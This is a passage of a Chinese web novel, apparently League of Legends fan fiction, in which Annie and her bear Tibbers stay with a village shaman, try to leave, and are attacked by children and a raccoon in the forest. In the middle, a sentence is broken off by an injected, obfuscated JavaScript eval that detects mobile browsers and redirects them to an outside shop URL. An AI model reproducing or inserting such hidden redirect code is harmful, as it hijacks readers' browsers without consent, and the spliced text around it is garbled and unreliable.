安妮不知道一道菜炒上肉也可以叫做“奢侈”,但这里的人似乎的确很贫穷。她乖乖收拾碗筷,然后去屋子里,果然看见床上有一件黑蓝色的衣服。 这是一件异域风情很浓的衣服,和巫阿婆身上那件一样,让人看一眼就觉得神秘庄严。巫阿婆脱下斗篷后,身材矮小瘦削,但一身黑蓝色的长袍,衣袖宽大,衣摆整齐,还有不少银色装饰和黄色丝线点缀,把她衬托得神圣不可侵犯。 安妮在心里回忆了很久,也看不出这个地方属于哪里,但记忆中的“贫穷”“愚昧”“落后”组合在一起,只能让她想起阿狸姐姐曾经描述过的边镇边缘——叫“村”的地方。 22. 22 安妮在阵阵鸡叫声中醒来,这是比上学的时候还早的时间。 夜晚窸窣的声音让她难以入睡,那些小动物眨着晶亮的眼睛,在黑暗中与她对视。穿着冰凉的衣服,在暗夜中呼吸着,如同一条卑贱的臭虫,苟延残喘。 想到自己毫无希望的未来,想到不知道要和孤独相处多久,她睡意全无,干脆起床做饭。 于是带着提伯斯前往厨房。 巫阿婆居然起得比她还早,在那间摆着香炉的屋子里跪着。 双手合十置于胸前,嘴里念念有词——这里的祭祀礼仪似乎还很传统。 厨房在对面的房间,安妮只能将门一点点打开,陈旧的木门发出“吱呀”的摩擦声,提醒巫阿婆安妮的到来。 安妮试图蹑手蹑脚地关门穿过屋子。 “等等。” 安妮立刻乖乖停住。 巫阿婆没回头。 “路过祖神屋,要站在原地作三个揖,再离开。” 安妮点头,发现巫阿婆看不见,于是双手合十,弯腰拜了三拜。 “行了,走吧。” 安妮松了口气,满脑子不解地进了厨房。 这里的规矩真是奇怪极了。 早上吃饭,仍旧是安安静静的。安妮煮了一些米粥,就着昨天的菜喝下去,虽然有些寡淡,却热热的让人满足。 但这满足感填不到心底。 她不知道未来该怎么办。 就像巫阿婆问的一样。 “你打算一直留在这里吗?还是怎么办?我当然不是想管你什么,单纯问问。” “我……我不知道。” 已经过去三天了,过往的经历好像都虚无缥缈起来。她甚至快要忘记自己曾经自命不凡过,但夜晚的不安和不甘就像干柴,只要一把火就可以点燃。 可她如今一无所有,甚至连寄人篱下的资本都没有。 巫阿婆看了眼安妮,那是一种云淡风轻的眼神,让安妮恍惚间好像回到了那段被欺骗的时光。但这一次,面前这个人对她是真的毫无所图了。 所以她难得冲动地问:“如果我想学习魔法,前往圣城,应该怎么办?” “噗嗤,你比那些三岁半大的野孩子还会幻想。” 安妮握紧了筷子。 “先不说魔法和灵力挂钩,而你一点灵力也没有,就说前往圣城……你恐怕还不知道这是哪里?” 安妮诚实地点头。 “这里是祖神村,一个非常遥远,偏僻,在地图上都找不到的地方。如果你非要给它划分个地盘,灾难丛林和英雄峡谷的交界处应该有一个缝隙代表它的存在。” 灾难丛林……安妮没想到自己会来到那个前几天对她而言还遥不可及的地方。 送她来这里的人目的是什么? 不知道。 “去圣城,先不说别的,这个村子你都出不去。你有什么能够当做路费的东西?” 没有。 安妮心中一阵绝望。 难道她就要困在这个鬼地方孤独终老了吗? “别那么悲伤,孩子,遇上我,你已经足够幸运了。起码我不会因为你毫无用处而将你扔进灾难丛林。” 是的,那是很多生命的终点站。 “好了,我吃饱了,下午会有人前来祷告,你最好待在屋子里。” 安妮沉默着。 果然,满足总是那么容易消散。 门外叽叽喳喳,嘈杂得厉害。来的村民应该有四五个,念着安妮听不懂的方言,虔诚温和的语气和之前的暴躁冷漠大相径庭。 安妮坐在床上,抱着提伯斯沉思。 过去的学习经历在她脑海中挥之不去,金碧辉煌的殿堂,香气扑鼻的美食,流光溢彩的华服,和如今斑驳灰暗的墙壁,粗糙简陋的食物,破旧褴褛的衣服形成鲜明的对比。 原来曾经堪称迷茫苦痛的生活已经是一种幸福。 原来她还可以更绝望。 “提伯斯……” 原来不知道什么时候,已经泪流满面。 安妮看着自己乱糟糟的黑色长发,上面还有咸咸的水渍。她已经忘了曾经,它在阳光下波光粼粼的样子。 灰暗的天空慢慢收回最后一点光亮。 晚餐很简陋,一块肉也没有。 “你曾经的生活似乎很富裕。” “啊?还好吧……” 她知道光明学院是大陆最繁华的学校,但却不知道这个“最”字的分量。事到如今,她才知道世界并不充斥着温饱。 “孩子,有两句话是这里的人一辈子的宗旨。” 安妮抬起了头。 她喜欢大道理,即使被讲道理的人欺骗过无数次。她喜欢咀嚼这些假装看破尘世的文字,寻找一切可以掰倒它的理由,然后无奈地发现没有。 “由俭入奢易,由奢入俭难。人这一辈子,最难的是认命,最简单的,也是认命。” “前一个是生活的宗旨,后一个是生命的宗旨。” 安妮发现自己仍旧没有反驳的理由。 她自嘲一笑。 “巫阿婆,你认命了吗?” “当然认命了……很早之前就认命了。我比你更有离开的资本,但我已经失去了离开这里最基本的东西。” 安妮不知道那是什么,但她知道自己还没有失去。 “我……” 我不知道我在想什么,不知道我接下来应该做什么,也不知道为什么…… “很早很早之前,我就希望我能有一个女儿。后来,我希望我有一个孙女。再后来,我希望我哪怕有一个徒弟……我想给她讲故事,看着她慢慢长大,就像村子里的人一样,他们坚信传承是自己的责任。但是神婆是不允许有后代的,我的师傅和我,都只是捡和被捡到的关系。” “最后,我不希望什么了,因为我发现我没有什么可以告诉她的。这是一个陈旧的地方,这里的一切都不值得诉说和传承,就像我这门手艺一样。但是生命总要继续,哪怕守护的东西已经一文不值。” “孩子,活下去就是你唯一的目的,离开,那是梦想。” “梦想总是要有的,万一实现了呢。” 安妮不知道巫阿婆是在劝她离开,还是劝她放弃。 但她一定是在劝我活着。 安妮垂眸,一动不动的提伯斯趴在胸前,聆听着自己逐渐平稳的心跳。 或许有那么一刻,会怀疑活着的意义,但我,一定没有死去的理由。 提伯斯不能暴露自己,但在房间里,没有人会看见。 安妮试图从提伯斯的恢复入手。 提伯斯已经无法变身,原因她毫不了解。谜团太多,唯一的真相就是曾经被拆穿的欺骗。 谁会救她?谁有能力封印提伯斯?阿狸姐姐……莫斯卡……加丁……身边人的影像一点点闪过,却没有一个人能做到。 想不出来,什么都想不出来。 或许是因为自己已经失去了所有的灵力吧……那为什么提伯斯还会存在,契约还会存在呢? 契约的动力是什么?理论课从未说过。 “提伯斯,你有感觉到难受吗?” 玩偶熊摇了摇头。 “那……你能试着变身吗?” 玩偶熊闭上眼,静默了好一会儿,最后还是睁开眼,摇了摇头。那失望和安妮的神情如出一辙。 束手无策。 需要什么未知的咒语吗?还是通过危险激发潜能?更或者……寻找谁的帮助。 但是如今被困在这里,还能找谁…… 安妮望了望已经看惯的血红天空,刨一口米饭,味同嚼蜡。 “再不给你找点事做,我们的米饭就不是硬邦邦的那么简单了。” 安妮怔愣的神情顿住,心底一丝惊慌和心虚划过。 她承认她走神的时间太多了。 巫阿婆说话的时候不看人,而是继续做自己的事,这让被对话的人怀疑她是否真的说过什么,但那严肃又好似平淡的语气让人不由自主地开始反思自己。 安妮也一样。 “对不起。” “不必和我说对不起,我只是提醒你,而你要做的就是改正,这比道歉有用。” “我明白了。” “你来这里已经三天了,你看到了什么?” 看到了什么? 来来往往的人,始终燃着白烟的香炉,不断被拿进厨房的食物……还有一些奇怪的对话,方言版咒语,以及散发着怪味的符水,沾满污垢的铜钱,竖在桌子上的贴着白纸条的草人…… “看来你的观察力还算敏锐。” “谢谢。” “这里的人从事土地生产,每年产出的粮食大部分都要自己吃掉,只有一些可以留下卖去城里。有些可以从别的活计里找点钱财,却也不会太多。水果,糖,肉,都是非常珍贵的东西。” 安妮知道,也不完全知道。 因为她发现她们根本不缺这些东西。也许是巫阿婆不经常吃所以给她的很多,也许是她的胃口也不大所以剩的很多……她还以为是她把这里想得太贫穷了。 “你知道为什么我们不缺吗?” 安妮摇了摇头。 “因为我是祖神使。” 因为信仰? 可是饭都吃不饱了,何谈信仰…… “很不解吧?或许你可以没事想想这些问题,免得整天无所事事。” “这些?” “你会发现更多奇怪的地方的。” 安妮很疑惑,但也许的确需要观察观察,这不是四年后光明学院的学生需要做的实践报告,但却是她离开的必修课。 巫阿婆吃完饭,咂咂嘴,放下碗晃晃悠悠地离开了,剩下安妮坐在桌子前。她没有回头,于是安妮目送着她进屋。其实安妮一直觉得,最奇怪的不是这个村落,而是这个人。 她会是什么神秘高手吗?救了她,然后磨炼她? 安妮刚想完,就自嘲地笑了笑。自己这是绝望太久,开始异想天开了吗? 她起身收拾好碗筷,却收不回那不切实际的妄想了。 幻想也是要有的,实现不了,起码能宽慰一下自己。 这是一年一度的“春节”,简而言之,就是春天的节日。春天是播种的季节,人们将土翻好,撒上种子,然后抽出浇水施肥的时间向祖神祈祷,好像这样,就可以避免虫灾,得到丰收。 安妮看着脸上笑容洋溢的村民们,感到很不解。 有这些时间,还不如做点实事,不是么?何况倘若祈祷后仍旧遇到了不可预计的灾难,又如何责怪这个不起作用的祖神? 她在饭桌上问了这个问题,收获了巫阿婆一个满意的笑容。 “你问得很好,这起码证明你胡思乱想的时间少一些了。” 但是巫阿婆没有告知答案,因为想答案也是打发时间的一种方式。这里的时间不是用来学习的,是用来浪费的。劳动、休息,时间在这两点中穿梭,人们在劳动中消耗时间,然后在休息中被时间消耗,年复一年。 绝望已经不是心态,而是常态。当身边的一切都已经注定,然后自己也把自己的命运决定时,绝望就成为习惯了。 但身处其中的人是察觉不到的。 察觉到的只有安妮。 可以说是她没有完全感知,也可以说她还有离开的信念。 这个村落的人还在巫阿婆这里进贡、祈祷,有时碰到熟人会唠唠嗑,有时一个人做完就找巫阿婆“求指点”,一天就这样充满意义地过去。 又一次目送一个妇人摇着裙摆离开,安妮终于在那一抹斜阳中想到了什么。 好像即将消失的夕阳,灵光一闪。 “巫阿婆,我们一直是这么弱小的吗?” 因为弱小,所以眼睁睁看着命运的齿轮转动;因为无法改变,所以归罪自己的同时仰望着无所不能的神明;因为这信仰,所以心甘情愿被自己束缚操纵,越来越弱小…… “刚刚出生的牛犊,应该是不怕老虎的吧。” 只是碰壁得多了,也就放弃了;放弃得多了,也就习惯了。 我也会习惯吗? 会堕落吗? 她不想。 “孩子,我原本是想让你接任我的位置的,但我忽然发现,如果某一天你消失了,我并不会感到惊讶,或者遗憾。” “为什么?” “因为你不适合,所以没有利用价值。” 所以不会因为我的消失有任何触动。 这是个无利不往的世界。 安妮忽然就接受了这个设定。 她摸摸提伯斯,是毛茸茸的感觉。 “不久之后应该会有人来这里……时间差不多对的……是一个很善良的孩子。” 安妮从巫阿婆断断续续的话语里听出了她的全部意思。 这个村子很贫穷,贫穷到没有收获的春天被饥饿包围——从村民来祈祷时带的东西越来越少就可以看出。但好在总有一些擅长自我感动的人会来接济,特别是冬天的雪并不大的年份,因为瑞雪兆丰年。 安妮的记忆里,今年冬天的雪确实不大,那温度还没有心冷。 “这是你离开的唯一机会,别怪我没告诉你。” 所以巫阿婆之前一直说的走不出去,其实并不正确……安妮一时之间不知道应该说什么。 怪她吗?倒也不会。 倘若她已经被劝说放弃,那也是她自己的问题。 或许这么久的相处下来,她更应该感谢巫阿婆的收留和教导。 安妮在思考如何出去。 因为她没有任何说服对方的筹码。 她也并不认为应该一直拜托巫阿婆。 “巫阿婆,你能告诉我来的人是谁,喜欢什么吗?” “我可不知道她喜欢什么,我只知道她不喜欢我。” “啊?” “自作聪明的善良人总是讨厌弱者里面相对强势的存在,尤其我的存在还是一种欺骗。” “……” 安妮不知道应该怎么回答。她代入自己思考了一下,发现这或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119490|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是无可辩驳的:如果你发现你一直同情怜悯的人被欺骗者搜刮,辛苦劳动的成果拱手送人,自己也会讨厌那个欺骗者的。 可巫阿婆不是这样的。 “节日过后她会在村口发放东西,你要拿就自己去。” 看来巫阿婆从来没有去拿过。不过这也正常,神使不会乞求别人的施舍,因为她有能够庇佑自己的存在。 就像神使不能有孩子一样。 那她应该怎么去? 之前有人要求过她带谁出去吗? 应该没有。 所以她是第一个。 “巫阿婆,你知道她会来几天吗?” “当然就一天,我们这样的村子可不止一个。” 那就只有一次机会…… 只有一次机会,并且必须成功。安妮想自己洗干净晾晒好的光明学院的衣服应该有用武之地了——如果那人知道光明学院的话。 “巫阿婆,你知道光明学院吗?” “学院?不知道,我们只有学堂,那里面还只有几个学生,老师都不知道是哪里来的。” 安妮默了。 巫阿婆不知道,兴许那人知道呢?毕竟,光明学院算是足够有名了……但是,她如今在光明学院是怎样的名声?——一定不会太好。 或许可以先随便说个身份…… “走神可以,慢慢想办法也没问题,但我不希望今晚的饭菜再硬邦邦的了。” 巫阿婆走了,安妮知道她是看出了自己决心离开。 是的,决心离开。 不管用什么办法。 她需要筹码。 两个苹果,五块糖,一个饼,还有两瓶水…… 如果要自费,至少需要准备两天的食物,并且还有交通工具。那么这两天,至少还要一些蘑菇,可以生吃的野菜野果…… 安妮在两周的足不出户后,终于告别巫阿婆,前往了森林边缘。 据说那里只能算是一个小林子,里面的资源还算丰富,但信奉祖神的村民们并不轻易进去捕猎采集,只有在收成不好的时候会祭祀祖神求得允许,然后大规模地进入。巫阿婆以前要是想换换口味,会光明正大地进去找东西,一些小孩子也会在闲暇时到边缘“玩耍”。 之前是农忙时节,小孩子都帮着大人干活去了,林子自然而然地空闲下来。但如今农忙已经结束,他们也就解放了。 所以安妮毫不意外地碰到了一些小孩子。 她尽量无视这些孩子探寻的目光,往林子里走。直到周围没有了一双双令人不适的眼睛,她才松了口气。林子里没有大型野兽,但她也不敢深入,好在春天植物本就在生长,这些孩子也不敢明目张胆地搜刮,她可以找到很多食物。 他们不敢搜刮,她却可以是巫阿婆派来的。 其实当个小巫婆还不错。 当安妮捡了一篮子蘑菇,满头大汗地出了林子,却接收到那些孩子艳羡的目光时,这种想法更强烈了。 安妮找完东西正好是下午三点,村民不是在田里就是在祈祷的地方,她提着篮子从后门进了厨房,开始处理这些佳肴。巫阿婆表示可以用新鲜的蔬菜换取她的干粮,安妮于是更用心地做好这些菜来回报巫阿婆的好意。 她把白白嫩嫩被挤出水珠的蘑菇放进水里清洗,那柔嫩滑溜的触感带着清水荡涤着指尖。安妮好像透过这略显浑浊的水看到了摇摆游动的小鱼。 原来她从未忘记那片森林。 “滴答。” 一滴眼泪炸开在水面。 沉默在蔓延,只有哗哗的水声还在厨房里流动。 安妮每天都坚持去森林采集,收获也很多。至少在那人到来之前,她攒到了三块大饼,五个馍馍,还有下饭的榨菜和腌菜,一些糖果。 腌制的方法还是巫阿婆教的,只是用刚腌的菜换了已经腌制好的。 几天的采集下来,安妮的手只是被划了些小口子,白白净净仍旧好看。做腌菜的时候,她才看到巫阿婆那双老得像陈年树皮的手,还有黑黑的指甲。 巫阿婆已经满脸皱纹,鬓发斑白,但是她说话中气十足,充满活力,让安妮总是觉得她真的被祖神庇护着,永远长寿。 巫阿婆说的寻找继承人不是说说而已,只是她大概找不到了,好在其他村的神使还在,人们永远不缺信仰。 “年轻的时候生活得很好,老了还受着供养有吃有喝,已经很不错了。寻常人家的老人都是在家里受着白眼的存在,即使他们帮忙管理着家务,教育着孩子,也是个老不死的……” 祖神使这个职业,终身制,无后,越老越有资历,好像好得不得了。 只有安妮知道巫阿婆的孤独。 或许这也是她被如此轻易地收留的原因。 临近走的日子,巫阿婆的话越来越多,这个行将就木的老人一点也不像刚遇见时那样冷淡,或者说本就不是冷淡的性子。 她仍旧爱嘲讽,爱打击人,爱批评村民,但是安妮乐意听。 这些话语不是欺骗。 这只是一个老人对一个孩子的嘱咐。 “有时候还挺后悔告诉你这件事的,毕竟难得有个人可以给我当佣人使唤。你这么积极地准备离开,不知道的还以为我这里寻常人一刻也待不下去呢。” “要是真的待不下去,也不会有那么多人节日的时候来祈祷了,您要是能免费给我干粮和水,我倒挺乐意一直坐这儿听您讲年轻时候的故事的。” “你想得美,吃了这么几天的蘑菇野菜,还是新鲜的有味道。” 安妮笑了笑,手上一刻不停地洗着菜。节日过后的村民仍旧是不乐意踏入这里的,于是巫阿婆到了饭点就可以搬个板凳坐在灶边和安妮聊天。火光照亮她满是皱纹和斑点的脸,温暖的颜色和祖神屋里那幅画一样让人感到舒适。 “今天是冬阳汤,不过少了些蔬菜。” “冬阳汤?” “嗯……是我的家人教我做的,冬天喝暖身子,初春喝少放盐,也恰到好处。” “现在都过初春了,净拿些谎话敷衍我……” 巫阿婆嘴上嫌弃,还是一口一口抿着汤。她喝得很慢,一边喝一边吹,白色的雾气在头顶升起,和银白的头发交织。 安妮微笑着,没说话。她的视线慢慢模糊,眼前喝汤的人换了又换,一会儿佝偻着身子,一会儿挺直了脖颈。 “巫阿婆,你从来没问过我的故事诶。” “我的故事说出来都是能让自己开心的,你的故事说出来能让我开心吗?” 安妮哽住了。 “恐怕连让自己开心都做不到吧。”巫阿婆哼笑了声,“越年轻烦恼越多,临死了反倒容易满足。什么时候你能笑着回忆自己的往事,什么时候再和别人分享吧。” 安妮没说话。她不知道自己有什么能让别人感到开心的往事。 巫阿婆放下碗,擦了擦嘴:“没人乐意听你的悲惨故事,除非他是你的仇人——你会给自己的仇人讲故事吗?” 安妮本能地摇了摇头。 “那不就得了。” 23. 23 “快走快走……” “嗨呀,真能拿……” “厉害啊……” 这是第一次,门外吵吵闹闹,却不是什么特殊的日子。 安妮听着屋子外面的人叫喊,那语气里满足快乐居多。小孩子的声音也很大,叽叽喳喳,却没被大人们阻止。 “今天怎么这么热闹……” 巫阿婆开门,四处望了望。 她忽然停住,有一瞬间,背影显得很落寞。安妮跟过去,面前的人好像一下子暗了。巫阿婆没有转身,那声音却直直撞进安妮心里。 “啧,善心泛滥的人来了。” “那……我……” 我是要走了? 我应该去屋子里拿东西,还是先告别? 安妮抱着提伯斯,愣在原地。巨大的惊喜和慌乱同时笼罩住她,让她寸步难行。 还是巫阿婆的呼喊打破了魔咒。 “愣着干什么?还不快点走人?” “哦,哦……” 安妮点头,往门外走,那脚不知为何发着软。安妮感觉脸好像烧了起来,全身热得受不了。 “你不拿东西?” “可……” 万一没说成,走不了……不对,安妮,你是下决心要离开这里的,怎么可能走不了?对,食物,你准备了那么久的东西…… 安妮跑回自己的房间,床头整整齐齐摆放着光明学院的校服,床下还有一个鼓鼓囊囊的背包。安妮把提伯斯放在一边,放下床帘快速换着衣服,可是袖子的洞就好像被堵住了,手怎么也找不到。领口也窄得很,头穿都穿不进去。 安妮急得乱拱,心里越来越慌张。 我该怎么和巫阿婆告别?我要先说“谢谢”还是“再见”?我怎么说服那人带我离开?之前准备的说辞是什么来着……安妮,快想,快想…… 脑子疯狂地转动着,衣服穿戴整齐,包袱拖出来,安妮突然心里一紧。 “喂,再不快点小心人家走了。” 巫阿婆说她至少要派发三个小时的。 但确实要快一点。 但她总感觉还有什么没做…… “煽情的话就不用说了,忘了我给你讲的故事了吗?我最烦婆婆妈妈的人了。” 记得,当然记得。那个时候有个女人哭着挽留年轻的巫阿婆,结果让刚煮好的菜糊了,差点不能吃,她还笑那个女人幼稚。 可是为什么自己还是想哭…… “快点的,之前没见你手脚这么慢。” “来了……” 安妮匆匆擦了湿润的眼眶,粗糙的袖子摩擦着眼球,眼泪越来越多。 “哭哭啼啼的,你想博取人家的同情也要到了人家面前再说,不怕眼泪不够使……” “扑哧……”安妮破涕为笑,一手扛着巨大的包袱,一手抱着提伯斯,“巫阿婆,我走了……” “走走走,赶紧走,你再不走我都快忘了怎么做饭了。” “我以后……” “别说以后,承诺不如做了再说。” 安妮默默点头,看着侧对她挥手的巫阿婆,哽咽了。 “再见。” 沉默在蔓延,面前的老人微微颤抖着,还是慢慢挥着手。 “再见再见。再见好啊,不是拜拜……” 安妮含着泪,笑着一步步离开。眼前的道路逐渐清晰起来,她越走越快,越走越快,视线里,草丛、农田,不断后退,只有脚下的路越来越平,越来越宽…… 安妮走上这条设想过无数次的离开的道路,心里盘算着说辞,埋首、狂奔。 记忆好像也被丢在路边,越来越远…… 到了。 安妮抬头,人来人往间,那个背光的高挑身影显得鹤立鸡群。 安妮却在那一瞬间,呆住了。 阿狸姐姐。 是……阿狸姐姐。 是阿狸姐姐! 脑子里一团糟的想法还没有得到梳理,双脚就先一步迈开。急促而紧张地……往相反方向奔逃。 为什么要躲避?不知道……也许是因为不知道如何解释自己的死而复生,也许是害怕连累这个善良无辜的人,也许是不想展现自己如此狼狈不堪的模样…… 明明知道只要走出那一步,就可以离开,可是这一刻,她却退缩了…… 为什么?安妮,为什么? 为什么! 手边的树木在震颤,叶子微微晃动,树干仍旧稳稳地矗立着。天旋地转的世界,只有扶住冰冷粗糙的树皮,才勉强有依靠。 “啪嗒……” 一滴,两滴,从眼眶流出,从记忆的海洋里流出,染黑了土壤。 温暖和刺骨在心底交织,恐惧和期待在心中舞蹈。 安妮的脑子很乱,那么多眼泪淌下,却带不走一点情绪。胀痛的感觉遍布全身,那颗心再一次强烈地昭示起自己的存在。 记忆的存在。 “这不是小巫婆吗,怎么拿着个包袱在哭?” 不知道什么时候,林子里的孩子突然出现了。安妮急忙擦掉眼泪,可是仍旧无法理清凌乱的思绪。 “你们说她是不是找阿狸姐姐要东西被骂了呀?” “阿狸姐姐那么温柔,怎么可能骂人?” “谁知道呢,那难不成是被老巫婆给骂了?” “有可能,我之前不小心踩到了老巫婆的符纸,老巫婆逮着我骂,还叫我妈收拾我,啧……” “活该!——诶,你看她手上那个熊,是不是会跳舞的那个?” 孩子们渐渐想围住安妮,他们一边指指点点,一边互相开玩笑,嘴里一口一个老巫婆、小巫婆,像极了安妮之前看见的那些凑在祖神屋外悄悄八卦的妇人。 安妮不想被注意,抱着提伯斯,提着包袱就想离开。 “诶,站住,老子让你走了吗?” 是之前那个胖子的声音。安妮抹了抹眼泪,看过去,胖子这次身边跟了好几个瘦猴子。 她不想说话,也不想继续留在这里,她还要思考,到底应该怎么办。 然而胖子三步并做两步上前,挡住了她转身后的方向。 “不许走,我们上次的账还没算呢!” 上次?安妮嗤笑一声,混乱的记忆里那些不甘和愤懑的经历一闪而过。 “你笑个屁!以为老子好欺负吗?兄弟们,你们看她这包袱鼓鼓囊囊的,说不定是偷了阿狸姐姐的东西偷偷来这儿藏着呢!还有那只玩偶,你们不是想看表演吗?我们抢过来不就好了!” “滚开!我没有!” 一次污蔑还不够吗?还要再抢她的东西? 安妮瞪着布满血丝的眼睛怒吼着,沙哑狠厉的声音吓得孩子们情不自禁地后退一步。 胖子刚刚往后踮起右脚,就觉得一阵恼羞成怒,他立刻挺了挺胸脯,跟着大喊:“吓唬谁呢!被我戳穿了吧?兄弟们,咱们人多势众,不用怕她!抢了的东西咱们平分!” 见身边的孩子们已经蠢蠢欲动,他又得意地煽风点火:“那只熊跳的舞搞笑得很,等抢到了,咱们让它跳个百八十回的,张三儿那伙人见都没见过!” 这可是长面子的事!孩子们听到更兴奋了,立刻扑了上去。 “滚开,你们谁敢来!” 安妮抓紧手上的包袱,当锤子往冲上前的人身上抡。那些人果然被镇住,只是仍然包围着安妮,虎视眈眈地看着她的食物。 安妮喘着粗气,迈开步子尝试往人相对少的方向走去,那里的小孩子挪了几步好像要让开。 她松了口气,然而就在这时,身侧的胖子突然伸出了手,拽住提伯斯露出的右腿,使劲一拉! “缇啵咝!” “提伯斯!” “哈哈哈哈,被我抓住了吧?这个玩偶居然还会说话?妖怪!” 胖子倒提着玩偶熊,来回晃动。 “妖怪!哈哈哈哈!巫婆和妖怪!” “把提伯斯还给我!” “就不给,有种你来抢啊,抢到了就是你的!” 胖子拎着提伯斯做了个鬼脸,提伯斯来来回回摇晃着,趁机用力起身咬住了胖子的手臂。 “啊啊啊!痛死老子了!”胖子用另一只手撕开提伯斯,攥紧它的脖子,转身扔给身边的瘦子,“畜生,还咬人!” “大哥,我给你报仇!” 接到提伯斯的瘦子开始拿着提伯斯不停撕扯。 “住手!” 安妮目眦欲裂,然而瘦子反而变本加厉地开始摔打。 “我叫你住手!” 安妮扑过去,抡起包袱砸向瘦子,瘦子挡不住,一屁股坐在地上,却眼疾手快地把提伯斯扔远了。 又一个孩子接住了提伯斯。他还没来得及高兴,就见安妮瞪着血红的眼睛向自己扑来。 “还我!还我!” 如同野兽般的嘶吼把他吓得一个激灵,立刻将提伯斯甩了出去。 正对着他的瘦弱孩子接住提伯斯,有些不知所措。 “赶紧跑,不准被她抓到!” 接收到胖子的命令,瘦子立刻本能地点点头,转过身撒腿就跑。安妮放下包袱,用尽全身气力追上去。身后,胖子和其他孩子还试图抓住她,然而仅仅是拽住一点衣角,就被安妮挣脱。 眼看最小的那个孩子跑没影了,安妮很快也消失了,胖子顿了一下,才突然反应过来,望着面前漆黑的树林愣住了。他好像遭了当头一棒,全身是汗。孩子们还不知道怎么了,顺着他发呆的方向望过去,瞬间明白过来。 他们消失的方向,是树林深处…… 林子里已经没有野兽了,之前大伯叔叔他们也进去过,应该不会有事……对,别自己吓自己…… 胖子吞了下口水,望着地上的包袱,有些底气不足地开口。 “我们、我们把这些东西先放着吧,万一……万一小巫婆回来了……” 孩子们没有一个有异议,看着包袱不再是贪婪掠夺的目光,一个个像鹌鹑一样低着头,不去注意包裹里飘出的稻米的香味。 森林的路崎岖不平,还有许多新长出的杂草野花,藤蔓荆棘。瘦子抓着提伯斯慌不择路地狂奔,尽管习惯了跑山路,也是气喘吁吁。然而让心跳狂乱的不只是极速的奔跑,还有莫名的恐惧。 他总觉得不能被追上,绝对不能! 如同正在被死神追逐一样,每一次感觉身后有人靠近时,瘦子都呼吸一紧,立刻提速。腿已经开始发软,肠子好像都晃荡着搅在一起,死亡的感觉越来越近,瘦子突然感觉一阵绝望。 他说不出话来,只能在心里祈祷一番,闭着眼睛把提伯斯往前扔出去。突然,脚趾好像踢到了什么坚硬的东西,失去平衡的瞬间,瘦子感觉头上好像有一只狮子飞跃了出去。 “啪!” 瘦子摔在地上,胳膊和膝盖火辣辣地疼。 他睁开眼,周围寂静无声,只有自己狂乱的心跳。 “咚咚咚!” “咚咚咚!” “咚咚咚!” 一声比一声剧烈,一声比一声急促。 瘦子大口地喘着粗气,瞪圆了眼睛。他四处寻找,可是周围没有任何生命的存在,连带着扔出去的玩偶熊也不见了。 短暂的休息过后,他慌忙站起身,拍了拍身上的泥土和灰尘,开始往记忆中返回的路径走。越走,他越害怕,越走,走的越快…… 终于,无尽的空白之后,他看见了蹲在包袱边的熟悉的小伙伴。 “六子,你回来啦?” “你没事吧?” 小伙伴一窝蜂围上来嘘寒问暖,这是弱小的六子从未经历过的关怀。他仍旧说不出话来,过度奔跑后带着血腥味的呼吸如此干涩。孩子们见他仍旧僵硬着身体,似乎被吓得不轻,也默契地不再问什么。他们悄悄地把包袱藏在了树上,然后默契地回家,默契地沉默。 在提心吊胆地生活了几天,却发现没有人询问什么之后,他们又开始在林子边无忧无虑地玩耍起来。 安妮是被提伯斯摇醒的。 脑仁突突地疼,手掌好像被火烧过,大腿也酸胀乏力。 她睁开眼,混沌的记忆里,最后闪过了一道白光。 这是哪? “提伯斯……” 玩偶熊点点头,算是对安妮的回应。他的纽扣眼睛闪着明亮的光,好像蓄满了眼泪。 安妮坐着,冰凉的地面让大脑逐渐清醒。 就差一点。 她本来可以离开这里的。 记忆慢慢复苏,愤怒……不甘……悔恨……最后都化作深深的绝望。 她本可以…… 抬头,密密麻麻的参天大树,看不到天色。 阿狸姐姐走了吗? 应该走了吧…… 是啊,走了。 她唯一的机会也没了。 下一次是多久?五年?十年?还是二十年?她要等多久,又或者在无尽的等待中接受现实? 安妮,你在害怕什么?矫情什么? 现在好了,最后的机会也没有了。 她还能做什么? “提伯斯……” 所有的悲伤、无奈,都化作一声叹息,装满这三个字,被轻轻吐出,却又很快被咽下,深深烙在心底。 安妮呜咽着,不知道是在为什么悲伤。 “簌簌……” 有什么东西在草丛里。 安妮睁着泪眼朦胧的眼睛,看向漆黑的连成一片的灌木丛。 一道模糊的身影闪过,安妮本能地感到一阵惊慌,来不及起身,就往旁边滚去。 “噗……” “沙沙……” 原来坐着的平整的沙地被一道爪印取代,站在上面的是一只体型中等的浣熊。灰黑的皮毛闪着亮光,四爪上锋利的指甲抓紧地面,漆黑的小眼睛凶光毕露。 安妮慢慢站起来,浣熊一直微弓着脊背,伏在地面。 眼神交流之间,它再次暴起,如同一颗炮弹,冲向安妮。在距离安妮半米的位置腾空跃起,锋利的前爪直取面门。 安妮立刻往旁边躲开,那爪 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撕裂般的疼痛传来,安妮死命蹬腿,拿左脚狠狠地踹,终于把浣熊蹬开,右腿却生生少了一块肉。 “缇啵咝!” 浓重的血腥味蒙蔽了双眼,痉挛的身体里血液在流失。死亡的威胁感还没有降临,安妮就感觉到一阵没来由的愤怒与剧痛席卷了全身。心脏里那口郁气被压抑着,似乎急需找到爆发口。 右腿的伤口好像混进了泥土和沙石,碾磨着敏感的神经,疼痛让她愈发清醒。朦胧的视线里,提伯斯抱住被踢开的浣熊的腿,被带在地上翻滚。 “滚!” 安妮快速地爬过去,一把扑倒浣熊,掐住它的脖子。浣熊开始蹬腿,锋利的爪子抓伤了肚子,前爪使劲挥舞,快要戳到眼睛。安妮伸直了手臂,把头偏开,然而浣熊的力气还是太大,一个鲤鱼打挺,挣脱了束缚。 后爪划过安妮的锁骨和脖子,幸好只划出了几道爪痕。 提伯斯再次被踢到树上,沙石飞溅,草木颤动。 安妮一只手支撑着坐在地上喘息,死死盯着浣熊。 浣熊没有离开。 又是这样。 这虎视眈眈的眼神。 这贪婪又恶心的眼神。 